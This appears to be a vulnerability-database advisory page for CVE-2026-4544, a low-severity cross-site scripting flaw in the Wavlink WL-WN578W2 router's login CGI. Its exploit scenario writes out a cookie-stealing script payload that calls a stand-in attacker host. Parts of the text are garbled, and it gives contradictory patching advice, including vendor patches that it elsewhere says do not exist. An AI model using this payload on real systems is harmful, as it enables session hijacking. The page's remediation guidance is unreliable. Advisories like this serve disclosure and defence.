Which versions of Wl Wn578w2 are affected by CVE-2026-4544?

CVE-2026-4544 is a low-severity vulnerability in A vulnerability involving cross-site scripting (CVSS 2.4).

Is there a public PoC exploit available for CVE-2026-4544?

Yes, a public proof-of-concept exploit is available for CVE-2026-4544. Prioritise patching immediately. EPSS: 0.0%.

How to fix or mitigate CVE-2026-4544?

During next maintenance window: Apply vendor patches when convenient. Verify cross-site scripting controls are in place.

Wl Wn578w2 CVE-2026-4544

Q: What is the CVSS score of CVE-2026-4544?

CVE-2026-4544 has a CVSS 4.0 base score of 1.9 (Low). CVSS vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X. EPSS exploitation probability: 0.0%.

EUVD-2026-14297 LOW

Cross-site Scripting (XSS) (CWE-79)

2026-03-22 VulDB

GHSA-jg8g-rwpf-2m3j

XSS Wl Wn578w2

1.9

CVSS 4.0 · NVD

Severity by source

NVD PRIMARY

1.9 LOW

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack Vector

Network

Attack Complexity

Low

Privileges Required

High

User Interaction

Scope

Lifecycle Timeline

CVSS changed

Apr 29, 2026 - 01:11 NVD

2.4 (LOW) 1.9 (LOW)

PoC Detected

Mar 23, 2026 - 14:31 vuln.today

Public exploit code

EUVD ID Assigned

Mar 22, 2026 - 10:15 euvd

EUVD-2026-14297

Analysis Generated

Mar 22, 2026 - 10:15 vuln.today

CVE Published

Mar 22, 2026 - 09:58 nvd

LOW 2.4

DescriptionCVE.org

A vulnerability was determined in Wavlink WL-WN578W2 221110. This affects an unknown function of the file /cgi-bin/login.cgi of the component POST Request Handler. Executing a manipulation of the argument homepage/hostname/login_page can lead to cross site scripting. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.

AnalysisAI

A Stored/Reflected Cross-Site Scripting (XSS) vulnerability exists in the Wavlink WL-WN578W2 wireless router (firmware version 221110 and potentially others) within the POST request handler of /cgi-bin/login.cgi. An attacker with high privileges can manipulate the homepage, hostname, or login_page parameters to inject malicious JavaScript that executes in the context of other users' browsers. …

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Vulnerability AssessmentAI

Risk Assessment	Despite the low CVSS score of 2.4, this vulnerability carries moderate real-world risk when contextual factors are considered. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	An attacker with admin credentials (or who has compromised an admin account via phishing) crafts a POST request to /cgi-bin/login.cgi with a malicious payload in the homepage or login_page parameter, such as homepage=<script>fetch('https://attacker.com/steal?cookies='+document.cookie)</script>. If a second admin user later accesses the router's web interface, the injected script executes in their browser, exfiltrating session cookies or authentication tokens. …
Remediation	No official patch is available from Wavlink at this time due to the vendor's lack of response to disclosure. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

During next maintenance window: Apply vendor patches when convenient. …

Threat intelligence, references, and detailed analysis are available after sign-in.

CVE-2026-4544 vulnerability details – vuln.today

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